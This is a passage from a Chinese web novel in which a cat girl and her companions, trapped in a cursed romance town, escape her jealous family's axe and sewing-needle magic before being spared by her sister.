小咪窝在他怀里,“喵呜~” ———— 结婚的第一步是在市政厅登记。 “你想要结婚?”镇长是位戴眼镜的先生,模样敦厚。 夏炫点头。他没有直接说想和小猫结婚,而是问镇长,“如果我想要结婚,需要准备什么?” 镇长憨厚笑着,开玩笑道:“需要一个愿意和你结婚的人。哈特,你也不小啦,想找到这样一个人,也不容易啊。” 夏炫吐出口浊气,“除了这个呢?如果我们之间物质、年龄差别很大,也能在一起吗?” “当然,只要你们真心相爱,在玫瑰树下许下誓言,一齐走入教堂,得到大家的祝福,就成为相伴终生的伴侣了。” 小咪跳到镇长的桌子上。 镇长扶了扶眼镜,惊喜地瞪大眼睛,“好可爱的小姐,你怎么来这儿了?你不会是想……”他看看小猫,又看看夏炫,满脸不可置信。 小咪:“喵喵喵。” 猫只能和一个人结婚吗? 镇长手一抖,眼镜差点跌在地上,“当然!” “喵喵喵。”可是猫喜欢很多人。 “可是每一个人都喜欢图多盖洛小姐。” 对对对。 谢临风在旁边用力点头。 镇长微微张大嘴,惊讶得半天说不出来话,好一会,才说:“但这样是不行的呀,一个人只能有一个伴侣,怎么会可以和很多人结婚呢?” “我们每一个人都喜欢她,她也喜欢每一个人,这份感情是真挚的,”夏双双问:“为什么不能结婚呢?” 他们好像在卡什么bug 。 “不行!就是不行!”镇长温和的脸逐渐扭曲,“这是不对的。” “喵!”小咪不满朝他囔囔。 不行就不行,可是那么多人喜欢猫,猫有什么办法! 夏双双微微皱眉,“如果出现类似情况,一个女孩有两个追求者,那该怎么办呢?” 小镇上只有两个相爱的人才能结婚。可人类的情感错综复杂,三角恋四角恋N角恋都可能存在,喜欢的人不喜欢我,喜欢我的人我不喜欢本来就是常态,两情相悦才是理想而稀少的状态。 镇长微笑着说:“只能选择一个人。” “没被选择的那个人会怎么样?会死吗?” 镇长:“只能选择一个人。” 他像是NPC一样开始重复这句话。 几个人再找不出其他线索,就走出了市政厅。夏炫挠了挠手臂,那块褐色的斑块在往外扩散,在斑点周围的皮肤已经开始变得粗糙发硬,倒是没别的感觉,只是很痒。 “图多盖洛!”莉兹站在路边,朝小咪招手,“你怎么跑到这里来啦?” “咪呜。” 莉兹狠狠瞪夏炫一眼,把小咪从他手里抢走,“你带我妹妹来市政厅干什么?” 夏炫:“呃……” 怎么搞得他像个诱拐少女背着家长领结婚证的渣男一样? “你死了这条心吧!”莉兹把小咪抱回舞会厅,放在了软垫上。 小咪伸了个懒腰,“喵呜——” 猫歪头,母亲双手搭在腿上,表情阴沉得可怕。小咪很会看人脸色,跳到母亲的腿里,蹭蹭她的手,“喵呜。” 它把脸颊贴在母亲冰冷的手背,蹭来蹭去,整只猫像猫猫虫一样在母亲的裙子上蛄蛹。 “咪呜咪呜。”私密马赛妈咪酱,不要生猫的气嘛。 伯爵夫人垂下脸,手指捏住猫的喉咙,“图多盖洛,刚才你跑到哪里去了?你没有和那个老男人去教堂吧。” 莉兹说:“我看见妹妹的时候,她与富尔门警长在一起。” 想到那条强壮漂亮的黑背,伯爵夫人表情稍霁,松开了手。小咪跳到了莉兹的怀里,抱住她的手臂。 莉兹朝妹妹眨了眨眼睛。她对母亲说得是实话,但也省略了一点点微不足道的事实。 在市政厅面前,妹妹身边不只有警长,还有木匠、外来人,和孤僻的怪人。 妹妹喜欢这么多人吗? 莉兹苦恼地咬了下唇角。 回到庄园后,一家人围在小咪周围,进行非常严肃的家庭谈话。小咪跳到花篮里,把自己团成一个球,脑袋埋在爪爪下面。 对于怎么忽视人类的话,猫很有经验。 父母对它很不满,因此,在用餐时间,小咪跳到餐桌上,摆在面前的银盘却空空荡荡,不再有第一天丰盛的食物。 “喵!”它对人类叫。 母亲冷哼:“你太令我们失望了。” 小咪扭头就跑回自己房间。它还不饿,就算饿了,也可以自己抓老鼠吃,不需要人类的豢养。 咪钻入被窝里补觉。 没过多久,门被轻轻推开,莉兹端着一碟小蛋糕,走入房间。她坐在床上,掀开被窝,把睡成猫饼的小猫抱出来。 “喵呜。”小咪打个哈欠,抱住莉兹的手,软软挂在她的身上。 “你真的喜欢老……哈维吗?” “喵!” 莉兹掰开小猫的嘴,观察它雪白的虎牙,和粉红的小舌头,她渐渐低下头,眼睛专注地盯着猫的嗓子眼,好像要透过它的喉咙往里,看到它的心。 小咪:“喵?” 莉兹松开手,轻抚它顺滑的毛,没多久,小咪就忍不住眯起眼睛,大声打呼噜。 “喵呜~”咪只能和一个人结婚吗? 猫觉得这样不对。在猫的世界观里,一次就和很多公猫发生关系才是正常的,小咪没有发过情,但它见过很多姐妹翘起屁股在地上打滚,公猫们为了争夺配偶权,在旁边打得猫毛漫天飞。 “当然呀。”大姐是个温柔的人,拿起小梳子,轻轻替小咪梳毛。 “咪呜。”猫想和很多人结婚,想和很多人在一起。猫都有很多个家了,为什么不能有很多个伴侣?他们愿意的。 莉兹露出微笑,“玫瑰树只会赐福一对情侣,一旦被赐福,两个人就永远绑定啦,一辈子都要在一起。所以,就算有再多的人喜欢我们图多盖洛,你也只能选择一个人。” “喵。”小咪趴下来,脑袋压着爪爪,心想,当人也太难了,居然只能和一个人结婚。 “我缝好了四个洋娃娃,在你结婚那天,它们可以和新郎一起陪着你,”莉兹幽幽地说:“小妹妹想要的东西,我会帮你拿到的。” “喵?” 姐姐为小猫盖上被子,亲了亲它的额头,温柔地说:“我们是一家人呀。” ———— 小镇的规则是一个人只能拥有一个伴侣。 姐姐要怎么帮她实现愿望? 莉兹看见它和三人一狗一鸟走出市政厅,或许她还向镇长打听了猫在市政厅的话。 除掉一个结婚对象,剩下的人数量正好是四。 莉兹不是想送她四个布娃娃,是想把猫看上的其他几个人缝进娃娃里,陪她一起结婚。这样既不会触犯规则,又能帮妹妹实现愿望。 小咪钻出被窝,跳到窗台上,窗下,莉兹提着一个针线篮子,缓缓往外走去。 “喵!” 猫大声叫,却没有被听见。它焦急地扒拉窗户想跳出去,刚把窗户打开一条缝,一张苍白的脸挤进缝隙里。 是个黄头发的少年,脸上有几点雀斑。 小咪记得,舞会的时候,姐姐提及过他,他的名字叫苏特,黄色的短发软塌塌贴着头皮,脸上还未褪去婴儿肥。 苏特用力往窗里挤,惨白的肉紧贴着玻璃,“图多盖洛小姐,请答应我的追求吧,请和我在一起吧。” 小咪往后退,从窗台退到桌面,后爪碰掉一瓶墨水。 苏特的脸几乎变形,一点点挤进小小缝隙里,他的脸色极其惨白,眼睛却很亮,死死盯着窗后的小黑猫,狂热地追求:“请和我在一起吧!” 他双手攀着靠窗的长桌,脑袋挤进窗户,嘴里不停念着表白的话,突然,他停下来,身体剧烈颤抖,伴随一阵干呕声,一滩鲜血在桌上溅开。血里,一个东西从他张大的嘴里滚了出来。 小咪定睛一看。 是朵被血丝与口水裹住的玫瑰花。 第90章 苏特表情狂热, 手指紧扣木桌,苍白脸颊泛上激动的潮红,淡绿的眼睛紧放在小黑猫身上。 它顺滑而有光泽、丝缎一样的黑发长发;它金色的、像太阳般璀璨的眼睛瞪得圆圆, 微微张开嘴,露出雪白的小虎牙,圆润的爪爪踩得软垫往下凹陷, 大尾巴甩来甩去。 在苏特眼里,图多盖洛小姐身上没有一根毛是不美的。 “图多盖洛小姐,请和我在一起吧!” “喵!”小咪朝他叫一声,小脑袋微微往前探。胡须微颤。 不要!猫干脆拒绝。 苏特瞪大眼睛,眼里闪过惊艳,他身体颤抖,又吐出一口血,血里包裹一朵玫瑰花。 小咪跳到地上,小心不让鲜血溅到自己的毛发,低头端详玫瑰花。花朵没有开放,血红的花瓣蔫蔫泡在血里,花后连着一根翠绿的茎,茎上长满了尖刺。 苏特吐血,是因为尖锐的花刺刺破了他的口腔。他像闪电一样,把玫瑰花藏进自己的嘴巴里吗? 在小咪低头看花时, 少年的半边身体挤进房间, 黄色头发沾上血渍, 沉沉垂下, 他从桌沿垂下脸,张开嘴,露出一个猩红的笑。 小咪看见,他的嘴腔被划得鲜血淋漓,牙龈血红,在黑洞洞喉管里,植物的触须在肉里生长。 “图多盖洛小姐,”苏特呕出一朵带血的玫瑰,“图多盖洛小姐,我好爱你啊,您看不到我的爱吗?请接受我的爱吧,请和我在一起。” 小咪跳到桌上,用肉垫一拍窗户,窗突然合上,重重一夹,苏特手指松开,惨叫着从窗户跌下,摔在了地面厚厚草坪。 小咪弹出脑袋往下看。 苏特躺在草坪,身体剧烈颤抖,不停大口吐血,一朵朵玫瑰花从嘴里吐出,堆在地上,几乎要把他自己掩埋。 玫瑰居然是从他身体内部长出来的。 小咪把窗户锁好,悄悄打开门。家人们已经吃完饭,回自己房间休息,刚才弄出的动静不小,可家里很安静,每一扇门都紧闭,没有一个人在外面。 这正好方便了它。小咪站在走廊,脑袋从栏杆伸出,观察庄园情况,确定安全后,它踩着地毯,嗒嗒跑下台阶,从后门离开了庄园。 猫来到一个丁字路口。它的脑中浮现出小镇的地图,很不巧,夏炫、夏双双、谢临风分别住在小镇的三个方向。 姐姐会先去找谁呢? 小咪歪头,挠挠旁边玫瑰树根。小镇空气里飘荡浪漫的气息,到处开满灿烂的玫瑰花。它想了一会,把爪子磨锋利,转身嗒嗒往镇中心跑。 夜晚的警察厅亮着温暖的灯光,透过雾蒙蒙的玻璃,小咪看见一个人坐在窗边。 是个黑发的青年,五官英俊端方,双眼皮,睫毛很长,有双温和善良的眼睛。他穿着警察制服,左胸佩戴胸章,身材高大修长,然而美玉有瑕,在他左边袖管里,空荡荡的。 小咪停在玻璃窗前,歪头,不解地喵了声。 这是闪电? 还是人们眼里的富尔门警长? 听见猫叫声,青年转过脸,与它对视,他微微睁大眼睛,纤长睫毛似蝶翼轻颤,湿漉漉的眼睛里倒映出一个黑发金瞳的女孩。 隔着玻璃,两人不约而同歪了歪头。 “喵啊——” 小咪抬起前爪,努力挠玻璃,把玻璃擦得干干净净。 富尔门警长为它打开窗,当小咪的脑袋钻进玻璃,警局里的年轻人消失不见,只有条黑背大狗咧着嘴,朝它傻笑。 “喵?”小咪朝它轻轻眨了眨眼睛。 “汪呜?” “喵呜。” 一猫一狗毫无交流障碍地沟通。闪电的身份是小镇警长,职责应该是保护市民,制止纠纷,它可以帮咪阻止姐姐。 而且,小咪确信,姐姐不会对闪电出手。 富尔门警长是伯爵全家都很喜欢的女婿候选人。 小咪和闪电分开两路,分别去找夏炫和谢临风。夏双双住在酒馆,那儿就算是夜晚也灯火通明,大姐应该会最后才对她动手。 “喵喵喵。”猫去找夏炫。 “汪!” ———— 比起伯爵家宽敞明亮的大别墅,摆满银器的长餐桌,木匠哈特家却非常贫穷,一家七口人挤在木桌前,缺口的陶盘装着煮得烂糊,看不出原料的豆子。 夏炫没有上桌的资格,识趣地拿着个盘子坐在旁边木凳上。如果说小猫拿了万人迷的剧本,他就是与之相反,变成天崩开局的外人嫌。 家人们嫌恶的眼神若有实质,偶尔扫过来,让他如芒在背。幸亏原主有一技之长,是家中顶梁柱,不然,家人或许会把他轰出门,或许,不只是赶出家门。 “图多盖洛小姐今天打扮真漂亮啊。”小妹语气羡慕,“她脖子上那颗蓝宝石有拇指那么大吧,一定值不少钱,她的裙子那么华丽,她一出现,所有的人都忍不住在看她。” “她是镇上最可爱的姑娘,最后会选择和谁在一起呢?”弟弟约翰想起小猫,整张脸烧得通红。 夏炫看他一眼,约翰是个清秀的少年,只是有一脸密密麻麻满天星般的雀斑。 “可惜富尔门警长的左臂断了,不然,他和图多盖洛小姐最般配。” 约翰苦恼地叹口气,“好像没有人能够配得上图多盖洛小姐。” 夏炫很好奇,他们的小咪和小狗在镇上居民们眼里是什么样子,是人类模样吗? “也许图多盖洛不肯接受任何人的追求呢。”母亲面无表情地说:“你千万别为她动心,她根本不会看上你。” 约翰脸涨得通红,“我知道的,妈妈。舞会上我没有邀请她!我也克制自己,没有看她,不像苏特,眼珠子都快黏到图多盖洛小姐身上。这太失礼了,她一定不会喜欢他!” “她也不会因为你不看他,就觉得你特殊,”妹妹无情地戳穿他的少年心事,“图多盖洛小姐肯定连你的脸都没有记住。” 约翰面红耳赤,“我才不在乎她记不记得我!我一点都不在乎!” 夏炫用勺子勺盘里的烂豆糊,当个隐形人听他们对话。看弟弟约翰的模样,他心中乐了——他家咪咪的魅力果然无人能挡,少年脸这么红,显然是情窦初开。 那么问题来了。如果全镇的少年都喜欢图多盖洛小姐,而她只能选一个人结婚,会发生什么? “以前,镇子上发生过一件很可怕的事情,”母亲放下勺子,表情严肃,“曾经也有一位长得非常漂亮的女孩,她迷倒了许多的男孩,却不愿意接受任何人的追求,所以最后,她变成了一个怪物,她的家门前,开满了玫瑰。” 夏炫问:“那变成怪物要多久呢?” “家人”一致扭过脸,面无表情地盯着他。他被看得头皮发麻,放下餐具,含糊说句吃完了,就回到自己的房间。 由于家人的嫌弃,没有人愿意和他住,他拥有自己的一间房,是个杂物间,凌乱杂物里放块木板当床,木门上没有锁,他用椅子抵住门,才松了口气。 大意了。 这个镇上的人太正常了,他差点把它们当成真实的人类。夏炫在杂物间踱步,思考“母亲”的话,曾经小镇上也有个像小咪一样的迷人姑娘,可她拒绝了所有追求者,因此变成“怪物”? “不对啊……” 结婚真的能破解诅咒吗? 如果像那姑娘一样,谁都不喜欢,就算接受一位追求者,和其中一个人结婚,这也是勉强为之,也不能算是小镇推崇的真心相爱。 夏炫皱紧眉头。 小镇到处都写着真爱至上,每个人都好像在努力追求爱情,让他最开始以为这是个纯爱人狂喜的小镇。可是现在他忍不住想,镇上每一对夫妻都是真心相爱吗?他们会一直不变心吗? 当然,现在最重要的,是找到污染源在哪里。 夏炫思考着这些问题,突然感觉有种违和感,好像房间里多了点什么。房间很小,一眼就能望到底,成堆杂物、单人床、破门板、窗户……他的视线停在了门口。 房间里没有灯,只有稀薄的月光,外面走廊的烛光透过门缝,柔和地洒了进来。而烛火投下的暖黄光线里,不知什么时候,多了一片阴影。 夏炫走到门前,慢慢弯下身,透过门缝,他对上了张布满雀斑的脸。 他握紧手里的一根木棍,拿出当哥哥的威严,“你在做什么?” 约翰脸贴着木板,“哥哥,你的身体还好吗?” “还好,你去睡觉吧,不早了。” 约翰“奥”了声,还很有礼貌地和他说一声“晚安”。听见他走远的脚步,夏炫松口气,后背抵在墙上,他以为自己只是轻碰上去,可发出的响声把他自己都吓了一跳。 他伸手往后,手臂弯折时,咔咔作响,触碰到的不是皮肤,而是像树皮一样粗糙僵硬的质感。 变异速度这么快? “嘻嘻。”木墙后发出妹妹的笑声,“哥哥,我听见了哦。” 走廊响起沉重的脚步声。 夏炫身体僵硬,心中悚然,抓紧手里的木棍,迅速往窗口跑。一打开窗,母亲苍白的脸便出现在他面前,她手里拿着的那把大剪刀——像是修剪枝桠的大号园艺剪刀咔嚓声猛地合拢,差点剪断他的喉咙。 身后的门已经打开了,“家人”们堵在门口。 “哥哥,你这么大年纪了,怎么还好意思赖在家里。”妹妹指责道:“都是因为你,舞会上才没有人邀请我跳舞。” “你再留在家里,会害死我们的。” “如果哥哥变成怪物,所有人都会嘲笑我们的。” “所以——” 父亲提着斧头,弟弟拿着厨刀,妹妹点燃火柴。 而窗外的母亲,已经拿着园艺剪刀爬进来了。 夏炫定了定神,“我当然会搬出去的,在我和图多盖洛小姐结婚后。” 约翰大声反驳:“图多盖洛小姐怎么可能看上你?” 夏炫拿起自己的外套,抖了抖,猫毛如雪,飘飘洒洒。 “你们看,我抱过她,这还不能证明她爱我吗?” 家人们沉默了,眼神不甘,尤其是约翰,他的眼睛里仿佛有火在烧,被嫉妒与仇恨灼得面目扭曲。可他们再找不到下手的理由,只能转身离开,等家人走远,夏炫马上翻窗往外跑,不再待在这个“家”里。 站在路口,他踌躇一会,从感情上,他想马上去找小猫,可他心里清楚,从感情上,伯爵夫人一家肯定会把他当成诱拐女儿的渣滓,将他千刀万剐。 和谢临风凑合一晚上吧。 夏炫迈步往野兔街道走,恰好避开手提针线篮的莉兹,也错开了四爪蹬得冒火星,在长街狂奔,来找他的小猫。 90-100 第91章 夏炫离开没多久, 一张雪白的脸贴在了他的窗上。木匠哈特家的窗户是木窗,破旧粗糙的木板推开条缝隙,莉兹凝视房间, 半晌,失望地叹息。 “不在家吗?” 她站在窗口犹豫了片刻,提着针线篮,转身朝另一个方向走去。 不多时,又有一道高瘦的影子来到窗户前。 在发现房间没有人后,她选择了爬进屋里,消失在凌乱的杂物中。 又过了半个小时,小咪才跑到了木匠家门口。 这实在不能怪猫跑得慢。人的腿比猫长那么多,而且,猫本来就是擅长短跑,不擅长跑的动物。它嗒嗒跑到窗下,累得舌头都吐出来一小截。 “喵呜。” 小咪在窗下轻轻地叫。 没有等到回应,它轻盈跳到窗台, 往里面望, 屋子里没有人, 人是跑了吗?还是被姐姐做出的布娃娃? 它依次跑到其他房间看。 木匠哈特家的房子只有一层,走廊旁边有几扇木门。猫悄无声息地跑到走廊,闻见空气中飘来一股淡淡的血腥气。 “喵。” 小咪焦急地叫了声,循着血腥气飘来的方向,跑到了后门。它轻轻将门推开一条缝隙,小脑袋钻出去,站在台阶上。 后门通着一片篱笆围起的草坪,草皮被翻了过来,露出湿润漆黑的泥土。木匠家六口人整整齐齐地躺在地上,一个瘦高的黑裙女人拿着把硕大斧头,用力往下一劈,少年约翰的头颅便咕噜掉下来,滚到了台阶。 小咪瞪圆眼睛。 约翰的面孔惨白,密集的雀斑更加明显,褐色的眼睛变得涣散而浑浊。突然,眼珠子一转,看向了台阶的小黑猫,他扯动唇边僵硬死白的腮肉,尖声喊:“图多盖洛小姐!” 劈尸的人动作一顿,慢慢扭过头,月光照在那张严峻霜白的面孔上。 是母亲。 伯爵夫人脸色铁青,“图多盖洛,你居然深夜跑来哈特家,你是想干什么?和他约会吗?还是想私奔呢?” 小咪歪头,“喵?” 伯爵夫人气得身体颤抖,黑色的长裙溅满泥点,“图多盖洛,你太令我失望了。” 小咪看着地上的尸体,小脑袋努力想弄清是怎么回事。 因为白天咪对夏炫的亲近,让母亲与姐姐同时都产生了不满。姐姐想将夏炫缝进布娃娃里,当作礼物送给妹妹,而母亲的选择更加极端,为了避免小女儿误入歧途,爱上木匠哈特,她把木匠一家全砍成几段,丢到土里当花肥。 小咪在尸体中没看见夏炫,心中松一口气,再一抬头,伯爵夫人已经来到她面前,投射的影子盖住了匍匐在台阶上的小黑猫。 她的脸色阴沉得可怕,喃喃:“你太令我失望了,你太令我失望了……” 她突然举起了斧头。 小咪每一根毛都炸了起来,变成一颗漆黑的海胆,后爪用力往地上一蹬,跳到了树枝上。 “喵喵喵!”它朝着母亲叫,希望能唤醒她心中的母爱。 但伯爵夫人在深夜看见女儿跑到老男人家中,已经气得失去理智,又抬起斧头,往树根狠狠一劈,玫瑰树被劈成了两段,趴在树上的猫也往地下落去。 斧头擦着它的尾巴削过去,砍掉了姐姐送的蝴蝶结。小咪不满地嘟囔两句猫语,蹿到屋顶,迅速地跑到坡形房顶的另外一边,顺着街道火速逃跑。 伯爵夫人怒气未消,提着斧头在后面穷追不舍。 小咪在路上飞奔,在一个拐角处,它看见一片浓密的玫瑰花林。猫腾身一跳,翻过篱笆,趴在玫瑰花丛的阴影中。 伯爵夫人跟丢了小猫,提着斧头在街道徘徊许久,才转身离开。 小咪累得瘫在了地上,像小狗一样急促的喘气,粉色的肉垫因为运动,变成了玫瑰一样的玫红色,它休息片刻,从花丛里钻了出来,来到这户人家的门前。 这是栋刷成淡蓝色的小木屋,窗台种满鲜花,像是童话里的小屋。在木屋前有片茂密的玫瑰树林,各色各样的玫瑰开得格外灿烂。 “喵呜。”小咪舔了舔爪爪上的泥巴,跳到窗台上,好奇往屋里张望。 在白天的节日上,童话小屋的门也依旧紧闭。这里面没有人住吗? 一个花盆被猫挤得掉在了地上,陶制花盆摔得四分五裂。 “砰。” 碎裂的声音在夜晚很清晰。 花园外重新响起脚步声,黑衣的伯爵夫人拖着斧头,去而复返,斧头从地面拖过,发出让猫寒毛倒竖的摩擦声。 “图多盖洛,你在哪儿呀?”母亲声音听上去很悲伤,“别让妈妈失望,快点出来吧,我的小猫咪。” 她瘦高的影子像黑鱼游过一丛丛玫瑰,眼看就要发现小咪,淡蓝色的木窗静静打开了一条缝隙,小咪钻入窗里,跳到墙角匍匐身体。 它睁圆猫儿眼,好奇地打量屋内的人。 屋里立着一棵树。 应该是树吧?小咪不确定地想。 它深褐色的皮肤皱皱巴巴,长着老树皮一样粗糙的皲裂,手脚修长,指尖还有几片绿叶长出。在树的顶端,有一双眼睛,正盯着缩成圆球的小猫。 小咪歪头,朝它无声地叫了一下,跑到树人脚边,歪头蹭蹭它粗糙的双腿。 等母亲离开,猫对着树人轻轻叫,“喵呜。” 树人,感谢你救了猫,作为回报,猫可以让你摸头和肚子。 它在地上打了个滚,露出自己柔软厚实的肚皮,四只粉红爪爪摊开,大尾巴扫帚一样甩来甩去。 “喵呜。” 树人站在昏暗的角落,像树枝一样的手臂轻抬起,它的动作非常迟缓,抬手这个动作就用了几分钟。手悬在空中,久未落下。 小咪不习惯地甩甩尾巴,“喵。” 猫赶时间,不摸的话,猫就走了哦。 真的不摸吗? 猫真的走啦。 小咪弹跳起身,跳到窗台上,抓紧时间钻过玫瑰花丛,去野兔街道的尽头找谢临风了。等猫赶到,所有人已经聚在房间里。 “喵啊!” 夏炫打开窗,把小咪抱进房间,本能地拿脸在猫的肚皮蹭蹭。 蹭到了一脸泥巴。 “哎,咪咪,你去哪儿玩啦?怎么身上的毛都脏兮兮的?” 小咪一肉垫扇在他的脸上,“喵啊——” 猫骂得很大声。 猫为了救他跑得那么远,一天跑出了一个月的运动量,人居然以为猫是在玩才弄脏了毛。 “哎,我家咪咪气性真大。”夏炫拿出一块打湿的毛巾给它擦爪爪,白毛巾很快就变成灰色,多了一个个灰黄的爪印。家人被伯爵夫人当了花肥,他反而放下一颗心,“这样就不用担心他们对我下手了,不过小咪,伯爵夫人那么生气,你还能回家吗?” “喵呜。”小咪轻轻叹口气。 猫也不知道明天母亲会不会生气。很少有人会对猫发火,就算猫蹦迪时打翻了玻璃杯,室友也只会指着它的鼻子,骂一句“你这个坏猫!”,没多久又开始把猫抱在怀里猛亲了。 猫想,母亲应该也不会生很久的气吧。 “干脆别回家了,和我们住在这里。” 夏双双否决这个想法,“不行,伯爵夫人那么凶残,都能提起斧头把你家灭门……” 夏炫打断她,“不是我家,是哈特家!” “好吧,把一个本地家庭灭门,哈特家有这么多人,居然不声不响就被她用斧头砍了。要是她知道小咪在这儿,难道不会提着斧头追杀过来吗?” “幸好她不知道……等一等,她真的不知道吗?” 小镇并不大,镇子里的人对彼此都很熟悉,谢临风的人设又是个二十三岁“大龄未婚”孤儿,住的房子也很醒目,许多人都应该知道他住在哪。 “伯爵夫人是没有看见我们拐小猫,可是,莉兹小姐看见我们和小咪从市政厅出来。” “莉兹小姐应该不会告诉夫人吧,她看上去那么温柔……” 温柔吗? 可是大姐想把他们缝进布娃娃里。 小咪舔着湿漉漉的爪爪,漫不经心地想,视线瞥过窗,忽然全身绷紧。 莉兹的脸贴着玻璃,不知在那看了他们多久。 “图多盖洛,你太让我失望了。”她说出和伯爵夫人一样的话,慢慢爬了进来。 小咪张嘴叫了声,跳到地上,但身体没稳住,一头栽倒,视野也跟着翻滚。 咪呜? 闪电冲到它身前,如离弦之箭,冲向了莉兹,但还没靠近,它的身体也跟小咪一样,失去平衡,一头撞在墙上,又摔了回来,摔得四脚朝天。 夏炫面孔惨白,盯着地上的猫猫和狗狗。 它们变成了两个毛茸茸的玩偶。 他想要说话,却发现自己说不出话来了,再一低头,自己的手臂变成了两根柔软、幼稚、充满棉花的小手。 斜对角等身镜中,坐在靠背椅上的青年消失了,取而代之的是一个棉花玩偶。眼睛的位置缝着两枚漆黑的圆纽扣,嘴巴被针线缝上,一根银针从他的身上掉了出来,回到莉兹的手中。 戏精吓得在房间飞来飞去,“杀鸟啦!杀鸟啦!” 喇叭一样大喊。 夏双双坐在椅子上,低头看自己的双腿,腿上有一根针在皮肤里穿来穿去,但她竟一丝痛感也没有,针线将她缝在了椅子上,她无法动弹,只好召出影子,想方法把针挑了出来。 莉兹并没有看其他人,而是朝着地上的小猫走去。 “图多盖洛,我的小妹妹。” 小咪变成了一只漆黑的猫玩偶,柔软长毛里,有双像琉璃一样金色的眼睛。莉兹低下头,轻轻碰了碰小猫冰凉的鼻头,“你太年轻了,才会被他们欺骗。你这样可爱,应该找一个真正爱你的少年,不要怪姐姐,我只是想让你幸福。” 小咪无法动弹,也说不出话。它看见姐姐抱着自己,走向了变成玩偶的青年。 莉兹从篮子里拿出一把剪刀,刀刺入玩偶的手臂,剪刀咔嚓合拢,雪白的棉花从玩偶身体涌了出来。 第92章 姐姐放弃了缝制娃娃送给小咪的念头。 也许她觉得小妹妹太多情,喜欢的人太多,就算把人缝进娃娃里,也无法阻止妹妹奔向危险,于是宁愿让妹妹讨厌记恨,也要拿起剪刀把小咪的“爱人”们大卸八块。 小咪被紧紧箍在姐姐柔软的怀里,动弹不了, 就算变成一只软绵绵的小猫玩偶,它也能感受到莉兹对自己的爱。 姐姐并不是想伤害它,猫的直觉告诉它这一点。 既然如此,玩偶化应该是可以逆转的,可变成玩偶后被姐姐剪碎,就变成字面意义上的粉身碎骨了。 夏炫的手臂被剪下来,软软掉在地上,断裂处没有流血, 白花花的棉花一团团涌出。小咪急得想喵喵叫,费劲张开嘴巴, 却有一股无形的力量在按住它的嘴巴。 是线。 随着小猫努力张嘴,缝住猫嘴巴皮子的线崩裂,线头掉了出来。 莉兹依旧一手紧环住它,另外一只手握着剪刀。她手里的剪刀并不大,不像夏洛特那把一人高的园艺大剪刀,而是一把精致小巧的金剪子,用来裁剪布料十分方便。 也因此,它不能像园艺剪刀咔嚓一下就把人剪成两段,而要将剪子戳进布料里,连续剪好几下,才能剪断一条手臂。 更像是用一种温柔而迟缓的手段将人肢解。 而被肢解的人已经是软塌塌的玩偶, 被缝住的嘴里发不出惨叫,黑洞洞的圆纽扣也无法表达情感。 莉兹将金剪子在玩偶上比划,朝着他的腿下刀。 “咔嚓——” 剪子合拢,剪到了空气,声音清脆。 高脚椅往后拉,夏双双把缝衣针朝莉兹丢去,伸手一扯,将小针从棉花娃娃的身体里挑了出来。 “等一下!”夏双双看着莉兹逼近,无处不在的缝衣针在地上跳动,连忙说:“我们对小咪……对图多盖洛小姐,并不是爱情啊,我们是朋友!” 莉兹环住怀里小猫玩偶,目光警惕。小咪努力张开嘴,把嘴里的线头吐出来,“喵啊。” 它一口咬在姐姐的手臂上,当然,塞满棉花的牙齿软绵绵的,丝毫不能对姐姐造成一点伤害。于是小咪改变策略,伸出小舌头,轻轻舔了舔姐姐冰凉的皮肤。 莉兹表情松动,把金剪刀放入篮里,抬手摸摸小猫的脑袋。 夏双双一边用能力把棉花玩偶身体里的针挑出来,一边试着说服这个情感过于丰沛的npc ,“如果你杀了我们,图多盖洛小姐会很难过的,我听说,小猫咪很伤心会死的。” 对面的女人面色惨白,漆黑卷发搭在肩头,冷冷地看着他们。 莉兹小姐看着温柔,却极其可怕,想到她无处不在的缝衣针,夏双双全身的寒毛就竖了起来。她又从衣服里拔出一根针,针尖不知什么时候穿破了腰部皮肤,被针刺到的地方已经是软绵绵的棉花。 夏双双后背蹿起凉气,她不愿和莉兹小姐硬碰硬。莉兹小姐后面还有伯爵一家,如果杀了莉兹,后面会牵扯出更多麻烦。 这个鬼域的npc情感太充沛了,她忽视对方非人的一面,把这件事当作现实里发生的事情——爱护妹妹的姐姐,发现自己家的小妹和一群心怀叵测的坏人混在一起,为了保护妹妹,她决定杀死这些“坏人”。 在莉兹的眼里,他们才是拐骗未成年的坏蛋。而她看似恐怖的行为,是出于对家人的保护与爱。 夏双双想清楚这点,说:“你误会了,其实我们是图多盖洛的好朋友,我们爱它,但是出于朋友的爱护,就像你爱它,是出自亲人的爱。世界上爱有很多种,不只是男女之间的爱情,是吧?” 莉兹:“你们不是觊觎我妹妹的身体?” 夏双双:……这话说的。 谁不馋小猫的身子啊? 谁不想埋在它软软的肚皮上深吸一口气,捏住它Q弹厚实的粉红肉垫,亲吻它金灿灿的眼睛? 但这话说出来也太变态了,莉兹小姐说不定会当场狂暴,把他们当成变态剁死。 夏双双一脸真诚,“我们和图多盖洛小姐只是很好的朋友。” “喵呜!”小咪跟着附和,趴在莉兹怀里,抬头亲亲她的脸颊。 这样丝滑连招,成功让姐姐收回了缝衣针。小咪又跑到夏炫玩偶面前,朝着姐姐叫,“喵呜。” 莉兹捡起针和手臂,缝了十几下,重新将青年手臂复原,又将其他几个布娃娃,依次变了回来。 她提起裙摆,朝众人轻一鞠躬,“请原谅我的无礼。” 夏炫晃动自己的胳膊,抡着胳膊转一圈,明明手臂被剪下来一次,缝好后,居然和以前没什么差别。他睁大眼睛,也在皮肤上找不到一个针眼。 “喵呜。”小咪跳到莉兹的膝盖,蹭蹭她的手,对她撒娇。 妈妈在生小咪的气。 “没关系的,母亲最疼爱你了,”莉兹抚摸小猫,“我会帮你同她说话,明天早上,母亲的气就会消了。” “喵。”小咪趴着,微微眯起眼,天然上翘的嘴角仿佛在微笑。 那就好,吓死猫啦。 “但是,”莉兹话锋一转,“你要赶紧结婚,最好定下来,不然,母亲看见你和别的人在一起,就会生气的。你年纪也不小,该到结婚的年龄了。” 小咪用爪爪捂住耳朵。 不听不听,王八念经。 莉兹嘴角翘起,在针线篮子里翻了翻。几个人身体绷紧,做好防备,生怕她神不知鬼不觉又拿出一堆缝衣针。 但莉兹翻了一会,拿出的是一把黄金的小梳子。她嘴里轻哼歌谣,为小猫梳着在逃跑时弄得凌乱的长毛。 看得几个人心里酸溜溜的。 对着他们就是喊打喊杀,一到小猫咪这里,恐怖怪物就变成知心大姐姐了。 